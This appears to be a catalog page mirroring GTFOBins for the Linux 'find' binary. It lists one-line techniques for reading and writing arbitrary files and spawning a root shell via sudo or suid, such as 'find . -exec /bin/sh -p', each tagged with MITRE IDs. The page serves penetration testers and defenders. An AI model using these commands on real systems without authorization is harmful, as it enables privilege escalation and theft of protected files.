GTFO · Tool

find

9 techniquesLinuxGTFOBinsGPL-3.0

file-read

File ReadPrivilege EscalationLinux

This uses `cat` to actually read the file, but since permissions are not dropped, it's executed with the same privileges as `find`.

find /path/to/input-file -exec cat {} \;

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: sudo
Native: file-read
MITRE: T1005
Refs: gtfobins.github.io/gtfobins/find/

File ReadPrivilege EscalationLinux

This uses `cat` to actually read the file, but since permissions are not dropped, it's executed with the same privileges as `find`.

find /path/to/input-file -exec cat {} \;

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: suid
Native: file-read
MITRE: T1005
Refs: gtfobins.github.io/gtfobins/find/

File ReadLinux

This uses `cat` to actually read the file, but since permissions are not dropped, it's executed with the same privileges as `find`.

find /path/to/input-file -exec cat {} \;

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: unprivileged
Native: file-read
MITRE: T1005
Refs: gtfobins.github.io/gtfobins/find/

File WritePrivilege EscalationLinux

`DATA` is a format string, it supports some escape sequences.

find / -fprintf /path/to/output-file DATA -quit

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: sudo
Native: file-write
MITRE: T1565
Refs: gtfobins.github.io/gtfobins/find/

File WritePrivilege EscalationLinux

`DATA` is a format string, it supports some escape sequences.

find / -fprintf /path/to/output-file DATA -quit

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: suid
Native: file-write
MITRE: T1565
Refs: gtfobins.github.io/gtfobins/find/

File WriteLinux

`DATA` is a format string, it supports some escape sequences.

find / -fprintf /path/to/output-file DATA -quit

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: unprivileged
Native: file-write
MITRE: T1565
Refs: gtfobins.github.io/gtfobins/find/

ExecutionPrivilege EscalationLinux

find . -exec /bin/sh \; -quit

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: sudo
Native: shell
MITRE: T1059
Refs: gtfobins.github.io/gtfobins/find/

ExecutionPrivilege EscalationLinux

find . -exec /bin/sh -p \; -quit

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: suid
Native: shell
MITRE: T1059
Refs: gtfobins.github.io/gtfobins/find/

ExecutionLinux

find . -exec /bin/sh \; -quit

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: unprivileged
Native: shell
MITRE: T1059
Refs: gtfobins.github.io/gtfobins/find/